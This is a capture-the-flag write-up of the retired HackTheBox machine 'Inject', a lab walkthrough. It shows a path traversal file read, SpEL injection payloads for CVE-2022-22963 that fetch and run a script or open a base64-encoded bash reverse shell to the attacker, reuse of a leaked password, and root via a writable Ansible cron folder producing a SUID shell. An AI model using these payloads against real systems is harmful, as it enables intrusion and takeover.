Inject has a website with a file read vulnerability that allows me to read the source code for the site. The source leaks that it’s using SpringBoot, and have a vulnerable library in use that allows me to get remote code execution. I’ll show how to identify this vulnerability both manually and using Snyk. The root step is about abusing a cron that’s running the Ansible automation framework.

Box Info

Name Inject Inject
Play on HackTheBox
Release Date 11 Mar 2023
Retire Date 08 Jul 2023
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Inject
Radar Graph Radar chart for Inject
First Blood User 00:42:52Palermo
First Blood Root 00:54:22pottm
Creator rajHere



nmap finds two open TCP ports, SSH (22) and HTTP (8080):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-03-13 17:19 EDT
Nmap scan report for
Host is up (0.084s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 6.99 seconds
oxdf@hacky$ nmap -p 22,8080 -sCV
Starting Nmap 7.80 ( ) at 2023-03-13 17:20 EDT
Nmap scan report for
Host is up (0.084s latency).

22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal.

There’s no additional information about the web server running on 8080.

Website - TCP 8080


The site is for a cloud storage provider:

The Blogs page (/blogs) has three articles:

But clicking on them doesn’t go to anything.

Trying to register just gives an “Under Construction” message:


At the top right of the page, there’s an upload link, which goes to /upload:


If I try to upload a dummy text file, it rejects it:


If I give it an image, it returns a link to that image:


The link points at /show_image?img=[uploaded image name].

Tech Stack

The HTTP headers show nothing interesting:

HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Mon, 13 Mar 2023 21:29:32 GMT
Connection: close
Content-Length: 6657

All of the URL paths end without an extension, and I’m not able to get index.html or index.php to load. The 404 page is interesting:


Googling for that exact message returns a bunch of stuff about Tomcat:


That suggests this is likely a Tomcat server, a Java-based web framework.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.8.0
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.8.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
WLD        -         -         -         - => auto-filtering 404-like response (4 words); toggle this behavior by using --dont-filter
200      GET      104l      194w     5654c
200      GET      166l      487w     6657c
200      GET       54l      107w     1857c
500      GET        1l        3w      106c
200      GET      112l      326w     5371c
500      GET        1l       27w      712c
400      GET        1l       32w      435c[
400      GET        1l       32w      435c]
400      GET        1l       32w      435c]
400      GET        1l       32w      435c]
400      GET        1l       32w      435c]
400      GET        1l       32w      435c[0-9]
[####################] - 3m     30000/30000   0s      found:12      errors:0
[####################] - 3m     30004/30000   144/s

It doesn’t find anything I hadn’t already seen via manual enumeration.

Shell as frank

File Read / Directory Traversal

When I upload an image to the site, the link that comes back goes to /show_image?img=[image name]. In Burp, I can see that it’s returning the raw image:


If I change htb-desktop.png to ., it lists the files in that directory:


I can also perform a directory traversal to leave this directory:


File System Enumeration

Home Dirs

There are two home directories. /home/frank has the standard hidden files / directories, but also a .m2 directory:


It has a settings.xml file. The settings.xml file in a .m2 directory in a user’s home directory is a configuration file used by Apache Maven, a popular build automation tool for Java projects. The settings.xml file contains settings that affect Maven’s behavior, such as the location of the local repository, the list of remote repositories to use, and authentication credentials for accessing remote repositories.

This file does have a password in it:

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="" xmlns:xsi=""

This password doesn’t work for SSH as frank, phil, or root.

/home/phil has user.txt:


The web user can’t read it.

Web Directory

/var/www has two directories in it, html and WebApp:


html is empty (or inaccessible). WebApp has the root of a Java project:


Spring Cloud Function SpEL Injection

Manual Identification

A pom.xml file is a configuration file used in Java projects that helps manage dependencies and build processes. It contains information about the project, such as its name, version, and dependencies on other software libraries. For my uses, the contents of a pom.xml file allow me to see if the project is using any insecure or out of date libraries by looking at the dependencies listed in the file.

Here, the pom.xml file is:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="" xmlns:xsi=""
		<relativePath/> <!-- lookup parent from repository -->
	<description>Demo project for Spring Boot</description>






This file is all about Spring Framework. My first thought is to check for Spring4Shell (CVE-2022-22965), but it doesn’t appear that the necessary components are there (spring-webmvc or spring-webflux).

Digging a bit more into the libraries in this pom.xml, I’ll find CVE-2022-22963, which is referred to as Spring Cloud Function SpEL Injection, and is found in Spring Cloud Function before version 3.2.3. This site is running 3.2.2:


Snyk Identification

Alternatively, a tool like Snyk can process the pom.xml file and report back any vulnerabilities in the dependencies. In most cases, it would be looking over an entire codebase to find potential vulnerabilities. Still one of the features, “Open Source Security”, analyzes files like a pom.xml that show what public resources are included, and identifies vulnerabilities there.

I’ll open VSCode and the directory containing my copy of the pom.xml file. At first, I wasn’t getting anything back, but that’s because my machine didn’t have Maven (the Java build system) installed, as seen in the Snyk output:

image-20230706133820912Click for full size image

After running sudo apt install maven, it works, and shows several vulnerabilities, including CVE-2022-22963 as identified above:



This GitHub from dinosn has a simple POC to scan for CVE-2022-22963. This script takes a list of urls, and loops over them in threads. For each, it sends an HTTP POST request, and if the response code is 500, the result is success:

    for  url  in  urllist :
        url = url.strip('\n')
        all = url + path
            code =req.status_code
            text = req.text
            rsp = '"error":"Internal Server Error"'

            if code == 500 and rsp in text:
                print ( f'[+] { url } is vulnerable' )
                poc_file = open('vulnerable.txt', 'a+')
                poc_file.write(url + '\n')
                print ( f'[-] { url } not vulnerable' )

A bit before that, it sets the data that will be sent:


    data ='test'
    headers = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    path = '/functionRouter'

Execution appears to be in a specially formatted header.

I’ll try sending this request, and it does crash:


It does seem on Inject that anything I send to this endpoint crashes, so it’s not clear to me that this is vulnerable yet.


To test for execution, I’ll replace sleep with ping -c 1 to send one ICMP ping to my host. I’ll listen with tcpdump filtering for ICMP traffic on my tun0 interface. When I submit the HTTP request, there’s a ping!

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:31:17.026312 IP > ICMP echo request, id 2, seq 1, length 64
18:31:17.026319 IP > ICMP echo reply, id 2, seq 1, length 64



This is blind execution (the response is just a 500 error, without the output of the result). I’ll try a bash reverse shell, but with the special characters in that, it’s likely to not work:


There’s no connection at my nc listening on 443.

I’ll encode the payload with Base64:

oxdf@hacky$ echo 'bash -i >& /dev/tcp/ 0>&1' | base64 -w0

With a couple extra spaces I can get rid of the special characters (+ and =):

oxdf@hacky$ echo ' bash -i >& /dev/tcp/ 0>&1' | base64 -w0
oxdf@hacky$ echo ' bash -i >& /dev/tcp/ 0>&1 ' | base64 -w0

I can try that as well by sending this:


It still doesn’t connect.

Success By curl

My original solve was to try to use curl to request a payload from my host and pipe that into bash.


I’ll set up a Python webserver (python -m http.server 80) and send this request. There is a request back to my server, but it’s for /|bash:

oxdf@hacky$ python -m http.server 80
Serving HTTP on port 80 ( ... - - [13/Mar/2023 18:40:40] code 404, message File not found - - [13/Mar/2023 18:40:40] "GET /|bash HTTP/1.1" 404 -

The | is being interpreted as part of the path. Instead, I can save the file in /tmp:

POST /functionRouter HTTP/1.1 T(java.lang.Runtime).getRuntime().exec("curl -o /tmp/")

And then send another request to run it:

POST /functionRouter HTTP/1.1 T(java.lang.Runtime).getRuntime().exec("bash /tmp/")

At nc, there’s a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 60606
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell

Success by Brace Expansion

Brace expansion is something I use daily in bash. For example, when I need to move file_20230313-2046.png to file_20230313-2046-orig.png, I’ll do:

$ mv file_20230313-2046{,-orig}.png

When I submit a payload like this:

T(java.lang.Runtime).getRuntime().exec("bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK}|{base64,-d}|bash")

Bash expands that to:

T(java.lang.Runtime).getRuntime().exec("bash -c echo IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK|base64 -d|bash")

Whatever was causing it to fail in the Java layer doesn’t fail any more, and now it works!

Shell Upgrade

I’ll upgrade my shell using the script / stty technique:

frank@inject:/$ script /dev/null -c bash\
Script started, file is /dev/null 
frank@inject:/$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as phil

With the file read in the website I already found a password, “DocPhillovestoInject123”. That password didn’t work for SSH as phil:

oxdf@hacky$ sshpass -p 'DocPhillovestoInject123' ssh phil@
Permission denied, please try again.

But it does work to su as phil:

frank@inject:~$ su - phil

So why can’t phil connect over SSH? They are explicitly denied in the SSHd config (using grep -v ^# to remove lines that start with a comment and grep . to select non-blank lines):

phil@inject:~$ cat /etc/ssh/sshd_config|grep -v ^# | grep .
Include /etc/ssh/sshd_config.d/*.conf
DenyUsers phil
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server

With a shell as phil, I can get user.txt:

phil@inject:~$ cat user.txt

Shell as root



There’s a single file in /opt:

phil@inject:~$ find /opt/ -type f

It’s a yaml file that is describing tasks:

- hosts: localhost
  - name: Checking webapp service
      name: webapp
      enabled: yes
      state: started

I’ll ask ChatGPT what this file is, and it identifies it immediately:


Ansible is an open-source automation tool that simplifies the process of managing and configuring IT infrastructure. As ChatGPT identified, this one makes sure that the webapp service is running through systemd.


I’ll use pspy to check for running processes on the host. I’ll download the latest release from their release page (1.2.1 at the time of solving), host it with a Python webserver, and fetch it to Inject with wget:

phil@inject:/tmp$ wget
--2023-03-14 01:43:58--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  4.14MB/s    in 0.7s

2023-03-14 01:43:59 (4.14 MB/s) - ‘pspy64’ saved [3104768/3104768]

I’ll make it executable and run it:

phil@inject:/tmp$ chmod +x pspy64 
phil@inject:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░ 

Every even minute there’s a flurry of activity, starting with:

2023/03/14 01:46:01 CMD: UID=0     PID=18659  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml              
2023/03/14 01:46:01 CMD: UID=0     PID=18658  | /usr/sbin/CRON -f
2023/03/14 01:46:01 CMD: UID=0     PID=18657  | /usr/sbin/CRON -f
2023/03/14 01:46:01 CMD: UID=0     PID=18656  | /usr/sbin/CRON -f                                                                   2023/03/14 01:46:01 CMD: UID=0     PID=18655  | /usr/sbin/CRON -f
2023/03/14 01:46:01 CMD: UID=0     PID=18660  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml              2023/03/14 01:46:01 CMD: UID=0     PID=18661  | /usr/sbin/CRON -f
2023/03/14 01:46:01 CMD: UID=0     PID=18662  | sleep 10

root is running ansible-parallel on *.yaml in /opt/automation/tasks.


The tasks folder is owned by root, and writable by the staff group:

phil@inject:/opt/automation$ ls -l
total 4
drwxrwxr-x 2 root staff 4096 Mar 14 01:46 tasks

phil is in the staff group:

phil@inject:/opt/automation$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

Which means that phil can write to this folder:

phil@inject:/opt/automation/tasks$ touch 0xdf
phil@inject:/opt/automation/tasks$ ls
0xdf  playbook_1.yml

Execution Via Ansible

The simplest way to run some command via Ansible is with the built-in Shell module. I’ll make a file that’s as simple as:

- hosts: localhost
  - name: '0xdf owns inject'
    shell: cp /bin/bash /tmp/0xdf; chmod 4755 /tmp/0xdf 

I’ll save this as /opt/automation/tasks/0xdf.yml. When the cron runs, there’s a new file in /tmp:

phil@inject:/opt/automation/tasks$ ls -l /tmp/0xdf
-rwsr-xr-x 1 root root 1183448 Mar 14 12:58 /tmp/0xdf  

This is a copy of bash that’s owned by root with the SetUID bit enabled. So when I run this (with -p to maintain privs), I get a shell as root:

phil@inject:/opt/automation/tasks$ /tmp/0xdf -p
0xdf-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),50(staff)   

More specifically, it’s with effective userid of 0 / root (check out this post for a detailed breakdown of what’s happening here). Regardless, I can read root.txt:

0xdf-5.0# cat root.txt